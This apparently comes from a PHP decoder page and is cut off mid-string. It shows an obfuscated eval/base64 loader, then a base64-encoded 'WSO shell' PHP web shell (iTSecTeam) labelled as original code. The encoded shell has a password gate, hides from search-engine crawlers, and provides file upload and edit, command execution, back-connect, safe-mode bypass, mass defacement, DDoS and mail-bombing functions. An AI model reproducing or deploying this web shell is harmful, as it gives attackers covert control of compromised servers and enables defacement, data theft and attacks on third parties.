6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4nPjw0bnAzdCBuMW01PWMybW0xbmQgdjFsMzU9NGQgczR6NT1pMD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT1jbWQgczR6NT1pMD4gPHM1bDVjdCBuMW01PTV4NWNtNXRoMmQ+DQogIDwycHQ0Mm4gdjFsMzU9InN5c3Q1bSI+U3lzdDVtPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSI1eDVjIj5FeDVjPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSJwMXNzdGhyMyI+UDFzc3RocjM8LzJwdDQybj4NCjwvczVsNWN0PiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IkV4NWMzdDUiPjwvZjJybT48L3RkPjwvdHI+DQo8dHI+DQo8dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj4NCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj48YnI+Jy4kZjJybWcuJ0NoMW5nNSBENHIgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBuMW01PTFkZHI1c3MgdjFsMzU9Jy5nNXRjd2QoKS4kc2wxc2guJyBzNHo1PWkwPg0KPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUNoMW5nNT48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDcjUxdDUgRDRyIDogPC9mMm50PjwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj48NG5wM3QgbjFtNT1jZDRybjFtNSB2MWwzNT0nLmc1dGN3ZCgpLiRzbDFzaC4nIHM0ejU9aTA+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0nLmc1dGN3ZCgpLic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIENyNTF0NSAgIj48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDcjUxdDUgRjRsNSA6IDwvZjJudD48L3RkPg0KPHRkIHc0ZHRoPSI3aTAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+PDRucDN0IG4xbTU9Y2Y0bDVuMW01IHYxbDM1PScuZzV0Y3dkKCkuJHNsMXNoLicgczR6NT1pMD4gPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0nLmc1dGN3ZCgpLic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIENyNTF0NSAgIj48L2Yycm0+PC90ZD48L3RyPg0KPHRyPjwvZjJybT4NCjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiIHYxbDRnbj0idDJwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPg0KPGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0OyBmMm50LXc1NGdodDo3MDAiPjxicj4nLiRmMnJtZy4nVXBsMjFkIDogPC9mMm50PjwvdGQ+DQo8dGQgdzRkdGg9IjdpMCIgc3R5bDU9ImIycmQ1ci1sNWZ0LXc0ZHRoOiA2cHg7IGIycmQ1ci1yNGdodC13NGR0aDogNnB4OyBiMnJkNXItdDJwLXc0ZHRoOiA2cHg7IGIycmQ1ci1iMnR0Mm06IDZweCBzMmw0ZCAjODA4MDgwIj48ZjJybSAxY3Q0Mm49IicuJG01LiciIG01dGgyZD1wMnN0IDVuY3R5cDU9bTNsdDRwMXJ0L2Yycm0tZDF0MT4nLiRuMncxZGRyNXNzLicNCjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdCI+PDRucDN0IHM0ejU9dTAgdHlwNT1mNGw1IG4xbTU9ZjRsNTUgPiA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xZGRyNXNzIHYxbDM1PScuZzV0Y3dkKCkuJz4NCjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1VcGwyMWQgLz48L2Yycm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiIHN0eWw1PSJiMnJkNXItbDVmdC13NGR0aDogNnB4OyBiMnJkNXItcjRnaHQtdzRkdGg6IDZweDsgYjJyZDVyLXQycC13NGR0aDogNnB4OyBiMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzgwODA4MCI+DQo8ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+PGJyPicuJGYycm1nLidDMnB5IEY0bDUgOiA8L2YybnQ+PC90ZD4NCjx0ZCB3NGR0aD0iN2kwIiBzdHlsNT0iYjJyZDVyLWw1ZnQtdzRkdGg6IDZweDsgYjJyZDVyLXI0Z2h0LXc0ZHRoOiA2cHg7IGIycmQ1ci10MnAtdzRkdGg6IDZweDsgYjJyZDVyLWIydHQybTogNnB4IHMybDRkICM4MDgwODAiPjw0bnAzdCBzNHo1PWEwIG4xbTU9YzJweW4xbTU+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0iJy5nNXRjd2QoKS4nIj4gVDIgPDRucDN0IHM0ejU9dTAgbjFtNT1jcHl0MiB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guJyI+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9QzJweT48L2Yycm0+PC90ZD48L3RyPg0KJy4kNW5kOw0KPz4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php
/*
WSO shell
Source Code (B64 // ISO-8859-1):
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJGF1dGhfcGFzcyA9IE1ENSgnMTI0NTc4OTYzJyk7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQoNCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOw0KICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KfQ0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNS4xJyk7DQoNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglmdW5jdGlvbiBHR3N0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ0dHc3RyaXBzbGFzaGVzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBHR3N0cmlwc2xhc2hlcygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gR0dzdHJpcHNsYXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiBHR0xvZ2luKCkgew0KCWRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSckX1NFUlZFUlsncGhwX3NlbGYnXSc+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQoNCmZ1bmN0aW9uIEdHc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIEdHc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICBHR0xvZ2luKCk7DQp9DQoNCmlmKCRfR0VUWydkbyddPT0icmVtb3ZlIil7DQp1bmxpbmsoZ2V0Y3dkKCkuJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pOw0KfQ0KJGJhc2VwPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQokc2xhc2g9IlxcIjsNCiRiYXNlcD1zdHJfcmVwbGFjZSgiLyIsIlxcIiwkYmFzZXApOw0KfWVsc2V7DQokc2xhc2g9Ii8iOw0KJGJhc2VwPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRiYXNlcCk7DQp9DQppZigkX0dFVFsnZG8nXT09InJlbW92ZSIpew0KdW5saW5rKGdldGN3ZCgpLiRzbGFzaC4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQppZiAoJF9SRVFVRVNUWydhZGRyZXNzJ10pew0KaWYoaXNfcmVhZGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfUkVRVUVTVFsnYWRkcmVzcyddKTt9ZWxzZXsNCmFsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCiRtZT0kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRmb3JtcD0iPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSciLiRtZS4iJz4iOw0KJGZvcm1nPSI8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0nIi4kbWUuIic+IjsNCiRub3dhZGRyZXNzPSc8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPSInLmdldGN3ZCgpLiciPic7DQppZiAoaXNzZXQoJF9GSUxFU1siZmlsZWUiXSkgYW5kICEgJF9GSUxFU1siZmlsZWUiXVsiZXJyb3IiXSkgew0KICAgaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGVlIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZpbGVlIl1bIm5hbWUiXSkpew0KICAgYWxlcnQoIkZpbGUgVXBsb2FkIFN1Y2Nlc3NmdWwiKTsNCiAgIH1lbHNlew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCiAgIA0KICAgfQ0KICAgfQ0KaWYoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSl7DQokZGlzYWJsZWY9aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCn1lbHNlew0KJGRpc2FibGVmPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQp9DQppZihpbmlfZ2V0KCdzYWZlX21vZGUnKSl7DQokc2FmZV9tb2Rlcz0iT24iOw0KfWVsc2V7DQokc2FmZV9tb2Rlcz0iT2ZmIjsNCn0NCmlmICgkX1JFUVVFU1RbJ2NobW9kZSddICYmICRfUkVRVUVTVFsnY2htb2RlbnVtJ10pew0KaWYgKGNobW9kKCRfUE9TVFsnY2htb2RlJ10sIjAiLiRfUE9TVFsnY2htb2RlbnVtJ10pKXthbGVydCgiQ2htb2QgT2shIik7fWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9DQp9DQokcGljZGlyPSdpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5NitSOEFBQUIzMGxFUVZSNDJtTmdnQUF1SUJaQ3dqeEF6TWlBQzRqSXlrclpPTHBsaGNXbHpBdUxTNTBQd2tGUmlUUGwxVFFEQlNRazdPRllSTVNlalkxTkE2aUZpVUZFVWluS3dTL21jVVJXMWY5d0lBN05yUHdmbEZyNjN6b3c3Yk9KZDlJYlE4L0VON3F1Y1crMFhPTGV5SnY1WG1FVFU5UmpVRFYwM0JsWDJQNDNvYXovZjJoTyszK3Y1UHIvRGxFVi84MURpdi9yK2VUK1YzUEwrQy90bHZlZlA2THp2NkJSeUQ4MmNlMUlCbDA3L3pOSkZmMy9FeW9uL1E4djd2dWYwTFBxZjNEdDdQOW1ZV1gvMVlNci9vc2xUZnJQbnpqcHY0aDkybjhCbzdEL3JKSjZlUXlTNW42M1BMSmEvd2NVOWYzM0srejlIOU83K24vVGlSZi83WHAzL09kczN2OWZKR25pZjNIMzdQL0NqcW4vK2F6ai83UElHclF4c0JuN1ArVjJ5ZnpQNDViem45Yzk5NzljWk4zLzFMVVgva3RNdmZpZnRmblFmOEd3K3Y4QzN2bi8rVHh5LzNPN1p2MW5WakNaeDhEcWtQQ1d3Ny8wUHdnTFJ0Yi9kK3ZmL0YrM2ZQWi9qdERhLzB5MU8vNHpWVzc2eng1Yy9SK21obG5GZkJzRG0zZk9aL2JJaHYrY01VMy9wWEltL3hkSzdmNFA0b013VzB6TGY3YkVudi9zMGMxd01TWTk1M01NUW5HMVA1VUtKLzhuRmd2YUJ6OWpZUFRKZk0yYzJQcWZXTXhvR2ZDRmdVRkdLNHBCdzN3aDBWaEN1UlNVa2xpZ2FZOVl6QUlBL1gvM1MxLzVFRU1BQUFBQVNVVk9SSzVDWUlJPSc7DQokcGljZmlsZT0naVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUEwQUFBQU5DQVlBQUFCeTYrUjhBQUFCYUVsRVFWUjQybU1JWGZXZmVmN0pUN1lyejM0bzMzQUJoajlCYUtEWXJQM1BFNklxcGdreW9JTk5GejlHbm56dy9mL05Gejh3OEpZclgvL1AySDZ6TXJCeWlqQ0twbDFYUGtiZWUvWHQvL2Z2M3pIdy9sdGYveCs0L3ZuVDdPMDM2d096a1RTdVAvY3U4c2F6ei8rL2ZQbUNnUzgrK3Z4LzI1WFAveGNjZVA0eHIyZExQRkE1TTFqVHl0UHZJcTg4L3ZqLzQwZmMrT3oxNS8vTE94WlhBWlZ6Z0RVdE8vRTY4dExERC84L2ZNQ0IzMy80Zi9ycXMvOGxMUXVyNFpvV0gzc2RlZUgraC8vdjM3L0hqdCs5LzMveXl0UC9SVTFJbXVZZWZoMTU5dTY3LzIvZnZzV0szN3g1OC8vNHBTZi9DOUExbmI3ejl2L3IxNjl4NG1PWEh2L1BROWEwQU9pOE0zY2dKbUxESUUwbkxqOUJkZDZDWXk4aXo5NEJLbmlOQmIrQjBDZEJtcEFEb25QOS9jamxCeDcvMzMzcThmODlwOUh3R2FBNGtGNjY1LzcvbEdxa0lIZndLUmF4OVloMXQzSUlDTFoxQ0FwQngxWkFiR0liRUN3bHIyOElWTTRLQVBaZ3dReGJKeVZvQUFBQUFFbEZUa1N1UW1DQyc7DQokaGVhZD0nPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUgb3ZlcmxpbmU7IGNvbG9yOiA0MTQxNDE7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MHB4IHNvbGlkICNmOGY4Zjg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMmYyZjI7cGFkZGluZzowcHggMHB4IDBweCAwcHg7fQ0KPC9zdHlsZT48aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5pVFNlY1RlYW08L3RpdGxlPg0KPC9oZWFkPjxib2R5ICB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFyZ2luPSIwIiANCmJnY29sb3I9IiNmMmYyZjIiPjxkaXYgYWxpZ249ImNlbnRlciI+DQombmJzcDs8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwMCIgaGVpZ2h0PSIxNCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItd2lkdGg6IDFweCI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIzMCIgd2lkdGg9Ijk5NiI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxhIGhyZWY9Ij9kbz1ob21lIj5Ib21lPC9hPiAtLSA8YSBocmVmPSI/ZG89ZmlsZW1hbmFnZXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbGUgTWFuYWdlcjwvYT4gLS0gPGEgaHJlZj0iP2RvPWNtZCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+Q29tbWFuZCBFeGVjdXRlPC9hPiAtLSA8YSBocmVmPSI/ZG89YmMmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJhY2sgQ29ubmVjdDwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NjbWQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBDb21tYW5kIGVYZWN1dGUoU0YtREYpPC9hPiAtLSA8YSBocmVmPSI/ZG89c3ltbGluayZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+U3ltbGluazwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NkaXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBEaXJlY3Rvcnk8L2E+IC0tIDxhIGhyZWY9Ij9kbz1ldmFsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj4NCkV2YWwgUGhwPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRhdGEgQmFzZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWNvbnZlcnQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkNvbnZlcnQ8L2E+IC0tIDxhIGhyZWY9Ij9kbz1tYWlsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5NYWlsIEJvb21iZXI8L2E+PGEgaHJlZj0iP2RvPWluZm8mYWRkcmVzcz0nLmdldGN3ZCgpLiciPg0KPGJyPlNlcnZlciBJbmZvcm1hdGlvbjwvYT4gLS0gPGEgaHJlZj0iP2RvPWQwc2xvY2FsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5Eb3MgTG9jYWwgU2VydmVyPC9hPiAtLSA8YSBocmVmPSI/ZG89ZHVtcCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+QmFja3VwIERhdGFiYXNlPC9hPiAtLSA8YSBocmVmPSI/ZG89bWFzcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+TWFzcyBEZWZhY2U8L2E+IC0tIDxhIGhyZWY9Ij9kbz1kbGZpbGUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRvd25sb2FkIFJlbW90ZSBGaWxlPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGQwcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+RERvUzwvYT4gLS0gPGEgaHJlZj0iP2RvPXBlcm0mYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbmQgV3JpdGFibGUgRGlyZWN0b3J5PC9hPiAtLSA8YSBocmVmPSI/ZG89YXBhY2hlJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5TZXJ2ZXI8L2E+IC0tIDxhIGhyZWY9Ij9kbz1yZW1vdmUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPlJlbW92ZSBNZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWFib3V0JmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5BYm91dDwvYT4NCjwvc3Bhbj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRhYmxlIGlkPSJ0YWJsZTIiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IA0Kc29saWQ7IiB3aWR0aD0iMTAwMCIgYmdjb2xvcj0iI2VhZWFlYSIgYm9yZGVyPSIxIiBib3JkZXJjb2xvcj0iI2M2YzZjNiIgDQpjZWxscGFkZGluZz0iMCI+PHRib2R5Pjx0cj48dGQ+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgaWQ9InRhYmxlMyIgc3R5bGU9ImJvcmRlci1zdHlsZTpkYXNoZWQ7IGJvcmRlci13aWR0aDoxcHg7IG1hcmdpbi10b3A6IDFweDsgbWFyZ2luLWJvdHRvbTogMHB4OyANCmJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIHdpZHRoPSI5NTAiIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiNjZGNkY2QiDQpoZWlnaHQ9IjEwIiBib3JkZXJjb2xvcmxpZ2h0PSIjQ0RDRENEIiBib3JkZXJjb2xvcmRhcms9IiNDRENEQ0QiPjx0Ym9keT48dHI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxkaXYgYWxpZ249ImNlbnRlciI+DQpPcGVyYXRpb24gU3lzdGVtIDogJy5waHBfdW5hbWUoKS4nIHwgUGhwIFZlcnNpb24gOiAnLnBocHZlcnNpb24oKS4nIHwgU2FmZSBNb2RlIDogJy4kc2FmZV9tb2Rlcy4nIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDE5OCwgMTk4LCAxOTgpOyIgDQp3aWR0aD0iOTUwIiBiZ2NvbG9yPSIjZTdlM2RlIiBoZWlnaHQ9IjEwIiB2YWxpZ249InRvcCI+JzsNCiRlbmQ9JzwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI2M2YzZjNiI+PHAgc3R5bGU9Im1hcmdpbi10b3A6IDBwdDsgbWFyZ2luLWJvdHRvbTogMHB0IiBhbGlnbj0iY2VudGVyIj48c3BhbiBsYW5nPSJlbi11cyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuYmFzZTY0X2RlY29kZSgiUTI5a1pXUWdZbmtnUVcxcGJpQlRhRzlyYjJocElDaFFaV3AyWVdzcCIpLic8YnI+PGEgaHJlZj0iaHR0cDovL3d3dy5pdHNlY3RlYW0uY29tIiB0YXJnZXQ9Il9ibGFuayI+PGZvbnQgc2l6ZT0xPicuYmFzZTY0X2RlY29kZSgiYVZSVFpXTlVaV0Z0TG1OdmJRPT0iKS4nPC9hPjwvZm9udD48L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPic7DQokZGVueT0kaGVhZC4iPHAgYWxpZ249J2NlbnRlcic+IDxiPk9oIE15IEdvZCE8YnI+IFBlcm1pc3Npb24gRGVuaWVkIi4kZW5kOw0KZnVuY3Rpb24gYWxlcnQoJHRleHQpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kdGV4dC4iJyk8L3NjcmlwdD4iOw0KfQ0KaWYgKCRfR0VUWydkbyddPT0iZWRpdCIgJiYgJF9HRVRbJ2ZpbGVuYW1lJ10hPSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCiRvcGVkaXQ9Zm9wZW4oJF9HRVRbJ2FkZHJlc3MnXS4kX0dFVFsnZmlsZW5hbWUnXSwiciIpOw0Kd2hpbGUoIWZlb2YoJG9wZWRpdCkpDQokZGF0YS49ZnJlYWQoJG9wZWRpdCw5OTk5KTsNCmZjbG9zZSgkb3BlZGl0KTsgDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+RmlsZSBOYW1lIDogJy4kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddLic8YnI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJmZWRpdCIgY29scz0iODciPicuaHRtbGVudGl0aWVzKCIkZGF0YSIpLic8L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9Jy4kX0dFVFsnZmlsZW5hbWUnXS4nIG5hbWU9bmFtZWZlPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgU2F2ZSAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9fQ0KZnVuY3Rpb24gc2l6ZWUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MT